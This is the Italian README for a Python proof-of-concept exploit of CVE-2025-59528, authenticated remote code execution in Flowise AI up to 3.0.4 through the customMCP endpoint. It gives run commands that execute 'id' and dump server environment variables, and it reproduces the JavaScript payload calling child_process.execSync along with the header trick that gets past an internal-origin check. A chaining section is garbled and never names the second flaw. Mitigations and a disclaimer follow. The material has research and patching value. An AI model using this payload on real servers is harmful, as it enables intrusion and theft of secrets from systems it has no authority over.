
Exploit PoC in Python per CVE-2025-59528, che consente RCE autenticato su Flowise AI <= 3.0.4 tramite l'endpoint customMCP e Node.js child_process.execSync.
ID CVE: CVE-2025-59528
Software interessato: Flowise AI
Versioni vulnerabili: <= 3.0.4
Versione corretta: 3.0.5 e successive
Gravità: Critica
Autore: arensballiu
Data: 2025
Le versioni di Flowise AI fino alla 3.0.4 inclusa consentono a un utente autenticato di ottenere l'Esecuzione Remota di Codice (RCE) sul server host inviando un payload JavaScript appositamente costruito all'endpoint /api/v1/node-load-method/customMCP.
Il metodo di caricamento del nodo customMCP accetta input controllati dall'utente che vengono valutati lato server come JavaScript, senza un'adeguata sanificazione o isolamento (sandboxing). Iniettando un payload che sfrutta child_process.execSync di Node.js, un attaccante può eseguire comandi arbitrari del sistema operativo con i privilegi del processo del server Flowise.
L'endpoint richiede inoltre la presenza dell'header x-request-from: internal.
| Endpoint | Metodo | Autenticazione richiesta | Scopo |
|---|---|---|---|
/api/v1/auth/login | POST | No | Autenticarsi e ottenere la sessione |
/api/v1/node-load-method/customMCP | POST | Sì (cookie di sessione) | Endpoint vulnerabile del metodo di caricamento del nodo |
File: CVE-2025-59528_POC.py
requestspip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| Flag | Forma lunga | Obbligatorio | Descrizione |
|---|---|---|---|
-e | --email | Sì | Indirizzo email dell'utente autenticato |
-i | --url | Sì | URL di base dell'istanza Flowise |
-p | --password | Sì | Password dell'utente autenticato |
-c | --cmd | Sì | Comando del sistema operativo da eseguire sul server |
Verifica dell'esecuzione di codice:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Recupera le variabili d'ambiente del server:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
L'exploit inietta la seguente espressione JavaScript nel campo mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') - carica il modulo integrato di esecuzione dei processi di Node.js.execSync('<command>') - esegue in modo sincrono il comando di sistema fornito dall'attaccante.L'header x-request-from: internal viene inoltre aggiunto alla richiesta per superare un controllo dell'origine interna che altrimenti bloccherebbe la chiamata.
L'endpoint customMCP passa l'input fornito dall'utente direttamente in un contesto di valutazione JavaScript sul server senza sanitizzazione né sandboxing. Combinato con l'accesso non limitato ai moduli core di Node.js (in particolare child_process) tramite process.mainModule.require, questo crea un vettore RCE banalmente sfruttabile. Il controllo dell'header x-request-from non fornisce alcun confine di sicurezza significativo, poiché non viene validato rispetto ad alcuna fonte attendibile.
Queste due vulnerabilità possono essere concatenate per un percorso di attacco RCE non autenticato contro istanze Flowise che eseguono versioni <= 3.0.4:
child_process, fs, ecc.) tramite una sandbox adeguata (ad es. vm2, contesti isolati o rimozione dell'accesso a process.mainModule).x-request-from tramite un meccanismo lato server anziché un semplice controllo di stringa.Questa proof of concept è fornita esclusivamente a scopo didattico e di ricerca sulla sicurezza autorizzata. L'uso di questo script contro sistemi senza esplicita autorizzazione scritta è illegale e non etico. L'autore e i contributori non si assumono alcuna responsabilità per un uso improprio.